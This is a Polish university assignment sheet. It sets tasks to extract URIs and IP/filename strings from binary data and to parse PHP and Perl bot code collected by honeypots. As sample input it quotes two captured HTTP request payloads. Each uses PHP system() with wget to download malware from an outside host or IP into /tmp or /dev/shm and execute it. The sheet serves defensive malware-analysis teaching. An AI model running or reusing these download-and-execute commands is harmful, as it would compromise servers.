Zadanie 1 Zadanie 2 Zadanie 3a i b

Transkrypt

Zadanie 1 Zadanie 2 Zadanie 3a i b
Zadanie 1
Celem zadania jest napisanie programu, który w plikach binarnych będzie wyszukiwał ciągów znaków
spełniających wymagania identyfikatora URI (ang. Uniform Resource Identifier). Przykładowy
fragment danych zawierających URI zaprezentowany jest poniżej. Każdy wykryty ciąg znaków
spełniający wymagania powinien zostać zapisany w pliku zawierającym wyniki wraz z informacją o
położeniu względem początku analizowanego pliku binarnego. Więcej informacji na temat składni
http://en.wikipedia.org/wiki/URI_scheme#Generic_syntax.
Przykładowy ciąg znaków zawierających URI (sam URL wytłuszczony)
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X)
AppleWebKit/536.26(KHTM
L, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Connection: close
<?php system("wget http://autopressreleases.com/b.c -O /tmp/b.c;perl
/tmp/b.c");
Zadanie 2
Celem zadania jest napisanie programu, który w plikach binarnych będzie wyszukiwał ciągów znaków,
reprezentujący adres IPv4 oraz bezpośrednio za nim nazwę pliku Przykładowy fragment danych
zawierających URI zaprezentowany jest poniżej. Każdy wykryty ciąg znaków spełniający wymagania
powinien zostać zapisany w pliku zawierającym wyniki wraz z informacją o położeniu względem
początku analizowanego pliku binarnego.
Przykładowy ciąg znaków zawierających adres IPv4 i plik (sam adres i plik wytłuszczony)
Host: 194.29.XX.YY
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X)
AppleWebKit/536.26(KHTM
L, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
Connection: close
<?php system("ulimit -t 999999;cd /dev/shm/;wget -q
184.22.81.107/mi.tar.gz ; tar zxvf mi.tar.gz;cd mi;./gogo &");
Zadanie 3a i b
Celem zadania jest napisanie programu, który dokona analizy składniowej i semantycznej kodu
źródłowego napisanego w języku a)php b)perl w celu wykrycia wszystkich definicji i wywołań funkcji
(lub metod dla kodów wykorzystujących mechanizmy obiektowe). Program powinien działać w
dwóch trybach, w pierwszym zapisuje do pliku tekstowego listę zdefiniowanych funkcji z informacją
jakie funkcje są w ich ciele wywoływane. W drugim trybie program zapisuje jedynie informacje
dotyczące interesującej funkcji podanej jako jeden z parametrów wywołania programu.
Zadanie 4a i b
Celem zadania jest napisanie programu, który dokona analizy składniowej i semantycznej kodu
źródłowego napisanego w języku a)php b)perl w celu wykrycia wszystkich wykorzystywanych tablic i
słowników. Program powinien działać w dwóch trybach, w pierwszym zapisuje do pliku tekstowego
wszystkie wykryte tablice i słowniki. W drugim trybie program zapisuje jedynie informacje dotyczące
interesującej tablicy/słownika lub interesującego elementu. Nazwa intersującej tablicy/słownika i/lub
numer lub nazwa elementu podawane są za pomocą parametrów wywołania programu.
Pod adresem http://staff.elka.pw.edu.pl/~kcabaj/TKOM_14Z/ znaleźć można przykładowe pliki które
będę analizowane w ramach zadania 3 i 4. Interesujące tablice/słowniki mają przykładowo nazwy cfg
i user_agents (dla php) oraz portas i dominios (dla perl). Zaimplementowane programy mają służyć
automatycznej analizie kodu bot-ów uzyskanych w ramach działania systemów HoneyPot
wdrożonych w Instytucie Informatyki.
Uwaga !!!
Mimo celowo wprowadzonych modyfikacji uniemożliwiających proste uruchomienie kodu proszę
zachować ostrożność. Pliki mogą być wykrywane jako Bot-y przez oprogramowanie AV.

Podobne dokumenty